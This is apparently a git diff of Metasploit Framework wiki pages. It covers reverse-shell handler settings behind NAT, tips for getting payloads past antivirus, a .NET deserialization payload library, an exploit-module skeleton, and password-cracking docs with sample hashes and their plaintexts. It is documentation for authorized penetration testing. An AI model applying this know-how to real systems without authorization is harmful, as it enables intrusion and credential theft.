However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindAddress`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded.
In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindHost` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong.
In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindAddress` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong.
## LPORT
The principles of `LHOST` and `ReverseListenerBindHost` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting.
The principles of `LHOST` and `ReverseListenerBindAddress` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting.
The classic example of this case is where an attacker wants to make use of port `443`, but rightfully doesn't want to run Metasploit as `root` just so they can directly bind to ports lower than `1024`. Instead, the set up a port forward (on their router, or using `iptables`) so that `443` forwards to `8443`, with a goal of accepting connections on that port instead.
@@ -75,4 +75,4 @@ There are a few things to check for when debugging a dead shell.
### Not so quick things to check
* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead.
* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead.
@@ -1,7 +1,7 @@
Metasploit includes a library for leveraging .NET deserialization attacks. Using
it within a module is very straight forward, the module author just needs to
know two things: the gadget chain and the formatter. The library uses the same
names for each of these values as the [YSoSerial.NET][1] project for
names for each of these values as the [YSoSerial.NET][ysoserial] project for
compatibility, although the Metasploit library only supports a subset of the
functionality.
@@ -12,7 +12,7 @@ compatibility of each.
| Gadget Chain Name | BinaryFormatter | LosFormatter | SoapFormatter |
| --------------------------- | --------------- | ------------ | ------------- |
| ClaimsPrincipal | Yes | Yes | Yes |
| ClaimsPrincipal | Yes | Yes | Yes |
| TextFormattingRunProperties | Yes | Yes | Yes |
| TypeConfuseDelegate | Yes | Yes | No |
| WindowsIdentity | Yes | Yes | Yes |
@@ -69,7 +69,7 @@ serialized = ::Msf::Util::DotNetDeserialization.generate(
The library also has an interface available as a standalone command line tool
which is suitable for creating payloads for single-use research purposes. This
tool `dot_net.rb` is available in the `tools/payloads/ysoserial` directory. The
arguments for this tool are aligned with those of [YSoSerial.NET][1], allowing
arguments for this tool are aligned with those of [YSoSerial.NET][ysoserial], allowing
the arguments of basic invocations to be the same. It should be noted however
that the [supported](#support-matrix) gadgets and formatters are not the same.
@@ -109,13 +109,13 @@ generate functions while the `-f` / `--formatter` arguments maps to the
## Making Changes
Adding new gadget chains and formatters involves creating a new file in the
respective library directory: [`lib/msf/util/dot_net_deserialization`][2]. The
"native" gadget chain type is implemented following the [MS-NRBF][3] format and
the [Bindata][4] records as defined in [`types/`][5] subdirectory. Once the new
respective library directory: [`lib/msf/util/dot_net_deserialization`][dot-net-deserialization-root]. The
"native" gadget chain type is implemented following the [MS-NRBF] format and
the [Bindata][] records as defined in [`types/`][dot-net-deserialization-types] subdirectory. Once the new
gadget chain or formatter is implemented, it needs to be added to the main
library file ([`dot_net_deserialization.rb`][6]).
library file ([`dot_net_deserialization.rb`][dot-net-deserialization-rb]).
Since serialization chain generate is deterministic, a [unit test][7] should be
Since serialization chain generate is deterministic, a [unit test][unit-test] should be
added for any new gadget chain to ensure that the checksum of the
BinaryFormatter representation is consistent.
@@ -124,15 +124,13 @@ Since the .NET deserialization gadgets run operating system commands, the
following resources can be helpful for module developers to deliver native
payloads such as Meterpreter.
* [How to use command stagers][8]
* [How to use Powershell in an exploit][9]
* [[How to use command stagers|./how-to-use-command-stagers.md]]
* [[How to use Powershell in an exploit|./how-to-use-powershell-in-an-exploit.md]]
[1]: https://github.com/pwntester/ysoserial.net
[2]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
[4]: https://github.com/dmendel/bindata
[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
[8]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
[9]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit
[ysoserial]: https://github.com/pwntester/ysoserial.net
[dot-net-deserialization-root]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
[MS-NRBF]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
[Bindata]: https://github.com/dmendel/bindata
[dot-net-deserialization-types]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
[dot-net-deserialization-rb]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
[unit-test]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
@@ -24,7 +24,7 @@ Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
@@ -58,7 +58,7 @@ Difficulty: 4/5
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]
Size: Medium/Large (Depends on proposal)
Difficulty 3/5
@@ -0,0 +1,54 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @jmartin-r7
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
## Enhance Metasploit Framework
### Rest API Pagination
Metasploit provides two API interaction services, a Rest API service and an RPC service. Previous efforts have wrapped and exposed the RPC service as JSON responses available from the Rest API endpoint. This wrapping did not account for possible large responses that may benefit from pagination. A previous contributor attempted to add this functionality for a [limited set of RCP commands](https://github.com/rapid7/metasploit-framework/pull/13439) however review identified that the changes would introduce changes to the documented public API and also introduce inconsistency within the API responses resulting in a fluctuating public API. Modern pagination would be beneficial to increasing user adoption of Rest API services provided it can be implemented consistently and either maintain compatibility of the existing public RPC service or generate a one time migration across all exposed public APIs.
Size: Large
Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
* Shell sessions do not implement the filesystem API that Meterpreter sessions have
* When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these.
* Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily.
Size: Medium/Large (Depends on proposal)
Difficulty: Varies
### Improve the web vulnerability API
This would follow up on the Arachni plugin PR <https://github.com/rapid7/metasploit-framework/pull/8618> and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners.
Size: Large
Difficulty: 4/5
### Data Visualization
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
Size: Medium/Large (Depends on proposal)
Difficulty 3/5
## Submit your own
If you want to suggest your own idea, please discuss it with us first on [Slack](https://metasploit.com/slack) in the `#gsoc` channel to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
@@ -27,9 +27,9 @@ The Metasploit Framework has seven different rankings to indicate how reliable a
## Template
If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://rapid7.github.io/metasploit-framework/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins.
If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://docs.metasploit.com/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins.
For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [How to send an HTTP Request Using HTTPClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). If you're interested in browser exploit writing, definitely check out: [How to write a browser exploit using BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer), etc.
For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [[How to send an HTTP Request Using HTTPClient|./How-to-write-a-browser-exploit-using-HttpServer.md]]. If you're interested in browser exploit writing, definitely check out: [[How to write a browser exploit using BrowserExploitServer|./How-to-write-a-browser-exploit-using-BrowserExploitServer.md]], etc.
But of course, to begin, you most likely need a template to work with, and here it is. We'll also explain how to fill out the required fields:
@@ -39,39 +39,39 @@ But of course, to begin, you most likely need a template to work with, and here
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
def initialize(info={})
super(update_info(info,
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
'Description' => %q{
Say something that the user might need to know
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => '[Vendor] [Software] [Root Cause] [Vulnerability type]',
'Description' => %q{
Say something that the user might need to know
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' => [
[ 'URL', '' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'System or software version',
'Platform' => 'win',
'Targets' => [
[
'System or software version',
{
'Ret' => 0x41414141 # This will be available in `target.ret`
}
]
],
'Payload' =>
{
'Payload' => {
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
'Privileged' => false,
'DisclosureDate' => '',
'DefaultTarget' => 0
)
)
end
def check
@@ -289,7 +289,7 @@ end
msfconsole output:
```
```msf
msf6 exploit(windows/smb/msf_smb_client_test) > options
Module options (exploit/windows/smb/msf_smb_client_test):
@@ -406,7 +406,7 @@ end
msfconsole output:
```
```msf
msf6 exploit(windows/smb/ruby_smb_client_test) > options
Module options (exploit/windows/smb/ruby_smb_client_test):
@@ -1,6 +1,6 @@
# Intro
This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [here](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners#the-scan-block). Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695).
This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [[here|./Creating-Metasploit-Framework-LoginScanners.md]]. Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695).
# Hashes
@@ -9,7 +9,7 @@ Many modules dump hashes from various software. Anything from the OS: [Windows]
## Hash Identify Example
In this first, simple, example we will simply show loading the library and calling its function.
```
```ruby
require 'metasploit/framework/hashes/identify'
puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/"
# note, bad hashes return an empty string since nil is not accepted when creating credentials in msf.
@@ -17,7 +17,7 @@ puts identify_hash "This_is a Fake Hash"
puts identify_hash "_9G..8147mpcfKT8g0U."
```
In practice, we receive the following output from this:
```
```ruby
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
@@ -43,7 +43,7 @@ This section will cover the differences between the two crackers. This is not a
### General Settings
| Description | JtR | hashcat |
|-----------------|------------------|---------------------|
| --------------- | ---------------- | ------------------- |
| session | `--session` | `--session` |
| no logging | `--no-log` | `--logfile-disable` |
| config file | `--config` | (n/a) |
@@ -57,33 +57,33 @@ This section will cover the differences between the two crackers. This is not a
### Hash Setting
| Hash | JtR | [hashcat](https://hashcat.net/wiki/doku.php?id=example_hashes) |
|-----------------------------|-------------------------|--------------------|
| List formats | `john --list=formats` `john --list=format-all-details` | `hashcat -h` |
| | | |
| cram-md5 | hmac-md5 | 10200 |
| des | descrypt | 1500 |
| md5 (crypt is $1$) | md5crypt | 500 |
| sha1 | | 100 |
| bsdi | bsdicrypt | 12400 |
| sha256 | sha256crypt | 7400 |
| sha512 | sha512crypt | 1800 |
| blowfish | bcrypt | 3200 |
| lanman | lm | 3000 |
| NTLM | nt | 1000 |
| mssql (05) | mssql | 131 |
| mssql12 | mssql12 | 1731 |
| mssql (2012/2014) | mssql05 | 132 |
| oracle (10) | oracle | 3100 |
| oracle 11 | oracle11 | 112 |
| oracle 12 | oracle12c | 12300 |
| postgres | dynamic_1034 | 12 |
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| sha512($p.$s) - vmware ldap | dynamic_82 | 1710 |
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
| NetNTLMv1 | netntlm | 5500 |
| NetNTLMv2 | netntlmv2 | 5600 |
| Hash | JtR | [hashcat](https://hashcat.net/wiki/doku.php?id=example_hashes) |
| --------------------------- | ------------------------------------------------------ | -------------------------------------------------------------- |
| List formats | `john --list=formats` `john --list=format-all-details` | `hashcat -h` |
| | | |
| cram-md5 | hmac-md5 | 10200 |
| des | descrypt | 1500 |
| md5 (crypt is $1$) | md5crypt | 500 |
| sha1 | | 100 |
| bsdi | bsdicrypt | 12400 |
| sha256 | sha256crypt | 7400 |
| sha512 | sha512crypt | 1800 |
| blowfish | bcrypt | 3200 |
| lanman | lm | 3000 |
| NTLM | nt | 1000 |
| mssql (05) | mssql | 131 |
| mssql12 | mssql12 | 1731 |
| mssql (2012/2014) | mssql05 | 132 |
| oracle (10) | oracle | 3100 |
| oracle 11 | oracle11 | 112 |
| oracle 12 | oracle12c | 12300 |
| postgres | dynamic_1034 | 12 |
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| sha512($p.$s) - vmware ldap | dynamic_82 | 1710 |
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
| NetNTLMv1 | netntlm | 5500 |
| NetNTLMv2 | netntlmv2 | 5600 |
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
@@ -123,14 +123,19 @@ JtR
For testing Hashcat/JtR integration, this is a common list of commands to import example hashes of many different types. When possible the username is separated by an underscore, and anything after it is the password. For example `des_password`, the password for the hash is `password`:
```
# nix
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
# windows
creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
# sql
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
@@ -153,29 +158,32 @@ creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08
This data breaks down to the following table:
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|-----------|----------|------|----------|------------|------------------------------|-------------------------|
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/jtr_aix auxiliary/analyze/jtr_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/jtr_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/jtr_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/jtr_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/jtr_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/jtr_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/jtr_windows_fast |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/jtr_windows_fast |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
